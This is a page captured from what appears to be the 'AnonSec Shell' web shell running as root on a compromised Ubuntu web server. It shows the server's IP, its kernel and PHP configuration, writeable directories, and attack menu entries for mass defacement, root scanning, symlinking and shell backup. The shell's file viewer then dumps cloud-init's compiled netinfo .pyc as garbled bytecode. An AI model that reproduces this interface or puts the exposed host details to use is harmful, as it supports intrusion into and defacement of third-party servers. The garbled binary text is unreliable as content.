AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core20/2599/usr/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /snap/core20/2599/usr/lib/python3/dist-packages/cloudinit/__pycache__/netinfo.cpython-38.pyc
U

Ӈg`�@s ddlZddlZddlZddlmZmZddlmZddlmZm	Z	m
Z
ddlmZm
Z
mZddlmZddlmZe�e�Zggdd	d
�ZGdd�de
�Zd
d�Zejddd�dd��Zdd�Zdd�Zd(eeeeeffd�dd�Zdd�Zdd�Z dd �Z!d!d"�Z"d#d$�Z#d)d&d'�Z$dS)*�N)�copy�deepcopy)�IPv4Network)�Dict�List�	TypedDict)�	lifecycle�subp�util)�net_prefix_to_ipv4_mask)�SimpleTable�F��ipv4�ipv6�hwaddr�upc@s6eZdZUeed<eed<eeed<eeed<dS)�	InterfacerrrrN)�__name__�
__module__�__qualname__�bool�__annotations__�strr�dict�rr�3/usr/lib/python3/dist-packages/cloudinit/netinfo.pyr,s
rc	CsPt�|�}i}|D�]6}d|kr(|dng}|�d�dkrB|dnd}|td|koXd|k�ggd�}|�d	g�D]�}|�d
�dkr�d|kr�ttd
|d���j�nd}|�dd�||�dd�|�dd�d�}	|d�|	�qp|d
dkrp|�dd�}
|
�r|�d��s|
�d|�dd���}
|
|�dd�d�}	|d�|	�qp|||d<q|S)a&Get network device dicts from ip route and ip link info.

    ipaddr_json: Output string from 'ip --json addr' command.

    Returns a dict of device info keyed by network device name containing
    device configuration values.

    Raises json.JSONDecodeError if json could not be decoded
    �flags�	link_type�ether�addressr
�UP�LOWER_UP)rrrrZ	addr_infoZfamily�inet�	prefixlenz0.0.0.0/Zlocal�	broadcast�scope)�ip�mask�bcastr&r�inet6�/�@)r'�scope6rZifname)�json�loads�getrrr�netmask�append)Zipaddr_jsonZipaddr_data�devs�devrr Zdev_info�addrr(Zparsed_addrr'rrr�_netdev_info_iproute_json3s@


���


�
�r6z22.1zqRequired by old iproute2 versions that don't support ip json output. Consider upgrading to a more recent version.)Zdeprecated_versionZ
extra_messagecCs�i}d}t|���D�]�\}}t�d|�}|rz|�d����d�d}|�d��d�}ggdtd	|kold
|k�d�||<qd|kr�t�d
|�}|s�t�	d||�q||d�
|���qd|k�rHt�d|�}|s�t�	d||�q|��}|�d�}|�
d�\}	}
}|�sd}||d�
|	|d�r0|dndt|�|dd��qd|krt�d|�}|�srt�	d||�q|�d�dk�r�|�d�||d<nd||d<qqq|S)z�
    @param ipaddr_out: Output string from 'ip addr show' command.

    @returns: A dict of device info keyed by network device name containing
              device configuration values.
    @raise: TypeError if ipaddr_out isn't a string.
    Nz.^\d+:\s(?P<dev>[^:]+):\s+<(?P<flags>\S+)>\s+.*r4�@rr�,r
r!r"rr*z?\s+inet6\s(?P<ip>\S+)(\s(peer\s\S+))?\sscope\s(?P<scope6>\S+).*z*Could not parse ip addr show: (line:%d) %srr#zd\s+inet\s(?P<cidr4>\S+)(\smetric\s(?P<metric>\d+))?(\sbrd\s(?P<bcast>\S+))?\sscope\s(?P<scope>\S+).*�cidr4r+�32rr)r&)r'r)r(r&�linkz-\s+link/(?P<link_type>\S+)\s(?P<hwaddr>\S+).*rrr)�	enumerate�
splitlines�re�match�group�lower�splitr�LOG�warningr2�	groupdict�pop�	partitionr)�
ipaddr_outr3Zdev_nameZnum�line�mrr?r9r5�_�prefixrrr�_netdev_info_iprouteis�
���
��
����rMc
Cszi}|��D�]f}t|�dkr q|ddkrb|��d}|�d�rN|dd�}||krbtt�||<|������}t|�dkr�t�	d|d�r�d||d<t
t|��D�]�}||d	kr�||d�d
�\}}||d�|t|�d��q�||d
k�r||d||ddd<q�||dk�r<||d||d<q�||dk�r�||ddk�r|||d�d||di�n||d�d||di�q�||dk�r�||dddd
||d}|||ddd<q�||�
d��r||�d�||ddd<q�||dkr�t�d||d�}	|	�rV|	�d�||ddd<q�||d||ddd<q�q|S)Nr��	� �:����zflags=[x\d]+<up.*>Trr#r+r)r'r(r%r)zaddress:rr*�addr:rr'�r$�scope:r-�scopeid�	.*<(\S+)>)r=�lenrB�endswithr�DEFAULT_NETDEV_INFOrA�stripr>�search�ranger2r�
startswith�lstripr?r@)
�
ifconfig_datar3rI�curdev�toks�iZnetworkZnet_bits�addr6�resrrr�_netdev_info_ifconfig_netbsd�sN
�  $  rgcCs i}|��D�]}t|�dkr q|ddkrb|��d}|�d�rN|dd�}||krbtt�||<|������}|ddkr�d||d<n(t|�dkr�t�	d|d�r�d||d<t
t|��D�]V}||d	kr�||d
�d||d�d�i�q�||�
d
��r(||�d
�||d
dd<q�||dk�rT||d||d
dd<q�||�
d��r�||�d�||d
dd<q�||dk�r�||d||d
dd<q�||dk�s�||dk�r�||d||d<q�||dk�rB||ddk�r"||d�d||di�n||d�d||di�q�||dk�r�||dddd||d}|||ddd<q�||�
d��r�||�d�||ddd<q�||dkr�t�d||d�}|�r�|�d�||ddd<q�||d||ddd<q�q|S)NrrNrQrRrTrSz
flags=\d+<up,r#rr'rTzbcast:r)r%zmask:r(r1rrr*rrUr$r+rVr-rWrX)r=rYrBrZrr[rAr\r>r]r^r2r`r_r?r@)rar3rIrbrcrdrerfrrr�_netdev_info_ifconfig�s\
�    $  rh)�returncs�i}t��r0tjddgddgd�\}}t|�}n�t�d�r�z t�dddg�\}}t|�}Wq�tjk
r�t�ddd	g�\}}t|�}Yq�Xn8t�d�r�tjddgddgd�\}}t|�}n
t	�
d
�|dkr�|Sttt
f�d��fd
d�	��||d�|S)afreturn the instance's interfaces and interface data

    includes, interface name, link state, hardware address, and lists of ipv4
    and ipv6 addresses

    example output:
    {
    'lo': {
        'up': True,
        'hwaddr': '',
        'ipv4': [
        {
            'bcast': '',
            'ip': '127.0.0.1',
            'mask': '255.0.0.0',
            'scope': 'host',
        }],
        'ipv6': [{'ip': '::1/128', 'scope6': 'host'}],
    },
    'lxdbr0': {
        'up': True
        'hwaddr': '00:16:3e:fa:84:30',
        'ipv4': [{
            'bcast': '',
            'ip': '10.161.80.1',
            'mask': '255.255.255.0',
            'scope': 'global',
        }],
        'ipv6': [
            {'ip': 'fd42:80e2:4695:1e96::1/64', 'scope6': 'global'},
            {'ip': 'fe80::216:3eff:fefa:8430/64', 'scope6': 'link'},
        ]
    },
    }

    Zifconfigz-arrS�Zrcsr'z--jsonr5Zshowz>Could not print networks: missing 'ip' and 'ifconfig' commandsr
�r
�cslt|t�r|��}n t|ttf�r,t|�}ntd��|D].\}}||krR|||<q8t|��r8�||�q8dS)zQRecursively replace 'empty_vals' in data (dict, tuple, list)
        with new_valzUnexpected input to fillN)�
isinstancer�items�tuple�listr<�	TypeError)�data�new_valZ
empty_valsZmyiter�key�val��fillZ
recurse_typesrrrwgs




znetdev_info.<locals>.fill)rs)r
rk)r
Z	is_NetBSDr	rg�whichr6�ProcessExecutionErrorrMrhrCrDrrorp)�emptyr3Z	ifcfg_out�_errrHrrvr�netdev_info%s.'



�
r|cCs�i}g|d<g|d<|��}ddddddd�}|D�].}t|�}|sFq2|��}dg}|ddkrrd|d	<d|d
<n^d|dkr�|d�d�\}}	n"|d}d}	|�d
�t|	�|d
<||d	<t|	�|d
<d|d<tt|��D]h}
||
dk�r
||
d|d<|�dd�||
dk�r(||
d|d<||
dkr�||
d|d<q�d�|�|d<|d�|�q2z(t	j	dddddddgddgd�\}}Wnt	j
k
�r�Y�n
X|��}
|
D]�}i}|�sƐq�|��}|ddk�r�d|d	<d|d<n|d|d	<d |d<d|d<tt|��D]�}
||
dk�r@||
d|d<d|d<||
dk�r^||
d|d<||
dk�r|||
d|d<||
d!k�r|dd"|d<�q|d�|��q�|S)#aP
    Get network route dicts from ip route info.

    @param iproute_data: Output string from ip route command.

    @returns: A dict containing ipv4 and ipv6 route entries as lists. Each
              item in the list is a route dictionary representing destination,
              gateway, flags, genmask and interface information.
    rrr
)�destinationr�gateway�genmask�iface�metric�Ur�default�0.0.0.0r}rr+r:�Hr~ZviarS�Gr4r�r�rr'z	--onelinez-6�routerp�table�allrjz::/0ZUG�::Zexpires�e)r=rrBr2rr^rY�insert�joinr	ry)Ziproute_data�routes�entriesZdefault_route_entryrI�entryrcrr5ZcidrrdZ
iproute_data6�_err6�entries6rrr�_netdev_route_info_iproute{s��


�
r�c	
Cs,i}g|d<g|d<|��}|D]�}|s*q |��}t|�dks |ddks |ddks |ddks |ddks |dd	kr|q t|�d
kr�|�d�|�d�|d|d
<d|d<|d|d|d|d|d|d|d|d
d�}|d�|�q z$tjdddddgddgd�\}}Wntjk
�r2Yn�X|��}|D]�}|�sN�q@|��}t|�d
k�s@|ddk�s@|ddk�s@|ddk�s@|ddk�s@|ddk�r��q@|d|d|d|d|d|d|dd�}|ddk�r�q@|d�d��rt�d d!|d�|d<|d�|��q@|S)"Nrr�rZKernel�DestinationZInternetZ	Internet6ZRouting��-��rSrU��)r}r~rrr��ref�user��netstatz-Ar*�--route�	--numericrjZProtoZActive)r}r~rr�r�r�r�r��lor}z/128z\/128$r
)	r=rBrYr2r	ryrZr>�sub)	Z
route_datar�r�rIrcr�Zroute_data6r�r�rrr�_netdev_route_info_netstat�s�	
�
�
�
�
�
�

�
�
�
�
�
�
�
��
�r�cCsni}t�d�r.t�ddddg�\}}t|�}n<t�d�r`tjddddgd	d
gd�\}}t|�}n
t�d�|S)
Nr'z-or�rpr�r�r�z--extendrrSrjz;Could not print routes: missing 'ip' and 'netstat' commands)r	rxr�r�rCrD)r�Ziproute_outr{Z	route_outrrr�
route_info(s



�

�r�cCs�g}d}zt|d�}WnDtk
rZ}z$|�t�djt|�d�dd��W5d}~XY�n&X|sddSdd	d
ddd
g}t|�}t|�	��D]�\}}|�
d�D]2}|�||d|d|d|�
d|�|df�q�|�
d�D].}|�||d|d||�
d|�|df�q�t|�
d��t|�
d��dkr�|�||d||||df�q�|�
�}	tt|	��td��}
t�dd|
�}|�||	g�d�|�dS)N�.)rzz Net device info failed ({error})��error�!�P�
ZDeviceZUpZAddressZMaskZScopez
Hw-Addressrrr'r(r&rrr-r�rtzNet device info�+)r|�	Exceptionr2r
�center�formatrr�sortedrnr0�add_rowrY�
get_string�maxr=�extendr�)�linesrzZnetdevr�ZfieldsZtblr4rrr5Znetdev_s�max_len�headerrrr�netdev_pformat;s\��
��

��
 �r�c
CsFg}z
t�}WnTtk
rb}z4|�t�djt|�d�dd��t�td|�W5d}~XY�n�X|�	d��rHddd	d
ddg}t
|�}t|�	d��D]x\}}t|�}z2|�||d
|�	dd�|d|d|dg�Wq�t
k
�r}zt�td|�W5d}~XYq�Xq�|��}tt|��td��}	t�dd|	�}
|�|
|g�|�	d��r8ddd	ddg}t
|�}t|�	d��D]�\}}t|�}|ddk�r��qxz,|�||d
|�	dd�|d|dg�Wn4t
k
�r�}zt�td|�W5d}~XYnX�qx|��}tt|��td��}	t�dd|	�}
|�|
|g�d�|�dS)NzRoute info failed ({error})r�r�r�zRoute info failed: %srZRouter�ZGatewayZGenmaskrZFlagsr}r~r�rr�rzRoute info formatting error: %sr�zRoute IPv4 infor�rr�r�zRoute IPv6 infor�)r�r�r2r
r�r�rZlogexcrCr0rr<r��KeyErrorr�rYr�r=r�r�)
r�r�r�Z	fields_v4Ztbl_v4�n�rZroute_idZroute_sr�r�Z	fields_v6Ztbl_v6rrr�
route_pformatos�
��$�
��
$�
��	&r��	ci-info: cCszg}t���}|r0|D]}|�d||f�qn
|�|�t���}|rf|D]}|�d||f�qLn
|�|�d�|�S)Nz%s%sr�)r�r=r2r�r�r�)rLr�Znetdev_linesrIZroute_linesrrr�
debug_info�s



r�)r
)r�)%r.Zloggingr>rrZ	ipaddressr�typingrrrZ	cloudinitrr	r
Zcloudinit.net.network_staterZcloudinit.simpletablerZ	getLoggerrrCr[rr6Zdeprecate_callrMrgrhrr|r�r�r�r�r�r�rrrr�<module>s:
6�
N0:��VXU4I

Anon7 - 2022
AnonSec Team